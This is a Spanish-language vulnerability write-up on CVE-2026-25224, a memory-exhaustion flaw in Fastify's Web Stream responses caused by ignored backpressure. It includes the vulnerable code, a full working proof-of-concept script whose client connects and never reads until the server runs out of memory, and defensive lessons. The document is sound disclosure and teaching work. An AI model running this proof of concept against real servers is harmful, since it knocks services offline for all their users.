Resumen
Fastify incorporó en la versión 5.7.0 soporte nativo para respuestas basadas en Web Streams, a través de la función sendWebStream en lib/reply.js. Esa implementación lee datos del ReadableStream y los vuelca en la respuesta HTTP, pero no comprueba si el destino puede seguir el ritmo: descarta el valor que devuelve res.write().
En Node.js, res.write() devuelve false cuando el búfer interno ya está lleno. Es la forma estándar de aplicar contrapresión: la señal de que el productor debe esperar antes de escribir más. Al ignorarla, Fastify encadenaba la siguiente lectura del flujo de inmediato, sin importar cuántos datos estuvieran ya pendientes de enviar.
El resultado es que un productor rápido (un fichero, datos generados al vuelo) conectado a un cliente lento o parado va acumulando todo el flujo en la memoria del proceso. El fallo se clasificó como CWE-770 (asignación de recursos sin límites ni control) y recibió el identificador CVE-2026-25224, con severidad Alta (CVSS 7.5, vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).
El punto vulnerable es el encadenamiento de lecturas dentro de sendWebStream, donde la escritura no condiciona la siguiente lectura:
// Vulnerable implementation in Fastify v5.7.x
function onRead (result) {
if (result.done) {
// ...
return
}
// VULNERABILITY: Return value of res.write is ignored!
res.write(result.value)
// The next read happens immediately, regardless of buffer state
reader.read().then(onRead, onReadError)
}
Pasos de reproducción
Hace falta un servidor Fastify en versión 5.7.0 o posterior.
- Crear una carpeta e instalar
fastify:
mkdir fastify-oom-poc
cd fastify-oom-poc
npm init -y
npm install fastify@latest
- Crear un fichero
reproduce_oom.jscon un endpoint que responde con un Web Stream infinito y un cliente que abre la conexión pero nunca lee la respuesta:
'use strict'
const Fastify = require('fastify')
const { ReadableStream } = require('node:stream/web')
const { connect } = require('node:net')
// Initialize Fastify
const fastify = Fastify({ logger: false })
// Define a route that returns an infinite stream using Web Streams
fastify.get('/stream', (req, reply) => {
const stream = new ReadableStream({
pull(controller) {
// Push a 1MB chunk.
// In a secure implementation, this should pause when the buffer is full.
// In Fastify v5.7.0+, this keeps getting called indefinitely.
controller.enqueue(Buffer.alloc(1024 * 1024, 'a'))
// Log memory usage to demonstrate the leak
if (Math.random() < 0.05) {
const usage = process.memoryUsage().rss / 1024 / 1024
console.log(`[Server] Memory usage: ${usage.toFixed(2)} MB`)
}
}
})
return reply.send(stream)
})
async function run() {
try {
const address = await fastify.listen({ port: 0 })
const port = fastify.server.address().port
console.log(`Server listening on port ${port}`)
console.log('Connecting malicious client...')
// Create a client that connects but stops reading after the initial request
const client = connect(port, 'localhost', () => {
// Send a minimal HTTP request headers
client.write('GET /stream HTTP/1.1\r\nHost: localhost\r\nConnection: close\r\n\r\n')
})
// CRITICAL: We intentionally DO NOT add a 'data' listener to the client.
// This causes the TCP window to close, signaling backpressure.
// Fastify ignores this signal and keeps buffering data in RAM.
client.on('error', (err) => console.error('Client error:', err))
console.log('Client connected and paused. Watching server memory usage...')
} catch (err) {
console.error('Error starting server:', err)
process.exit(1)
}
}
run()
- Ejecutar el script:
node reproduce_oom.js
El uso de memoria sube rápidamente hasta que el proceso cae:
Server listening on port 36451
Connecting malicious client...
Client connected and paused. Watching server memory usage...
[Server] Memory usage: 105.42 MB
[Server] Memory usage: 520.18 MB
[Server] Memory usage: 1540.66 MB
[Server] Memory usage: 2890.12 MB
<--- Last few GCs --->
[1234:0x5678] 15000 ms: Mark-sweep 4000.5 (4100.0) -> 4000.2 (4100.0) MB, 0.1 / 0.0 ms (average mu = 0.123, current mu = 0.012) allocation failure; scavenge might not succeed
FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory
El detalle que dispara el fallo está en el cliente: al no registrar ningún manejador del evento data, la ventana TCP se cierra y el cliente deja de aceptar bytes. El servidor debería frenar en ese punto, pero al ignorar la contrapresión sigue leyendo del flujo y encolando trozos de 1 MB en memoria sin parar.
Impacto
Un único atacante, con una conexión de red normal y sin autenticación ni privilegios, puede tumbar el servidor Fastify. Basta con pedir cualquier endpoint que devuelva un Web Stream y no leer la respuesta: el servidor acumula el flujo en memoria hasta agotar el heap y caer con un error de memoria agotada. Eso deja el servicio fuera de línea para todos los usuarios legítimos y puede suponer costes de reinicio o tiempo de inactividad.
Qué aprender de este caso
- En cualquier código que canalice un flujo hacia una respuesta HTTP (
res.write(),socket.write()), revisa el valor de retorno: unfalsesignifica "para y espera al eventodrain". Encadenar la siguiente lectura sin mirarlo es exactamente lo que convierte un cliente lento en una fuga de memoria. - Al adaptar un
ReadableStreamde Web Streams a unWritablede Node, no reimplementes el bombeo a mano:stream.Readable.fromWeb()opipeline()ya propagan la contrapresión. Cuando veas un patrónreader.read().then(onRead)que reencola la lectura incondicionalmente, sospecha. - Para encontrar fallos parecidos, mira las funciones de streaming añadidas recientemente (aquí,
sendWebStream, introducida para dar soporte a Web Streams): una ruta nueva de envío en paralelo a la ya existente puede saltarse controles que la antigua sí aplicaba. - Al probar servicios de streaming, un cliente que abre la conexión y deja de leer (sin listener
data) es una prueba reveladora: si la memoria del servidor crece sin tope en lugar de estabilizarse, falta el control de contrapresión.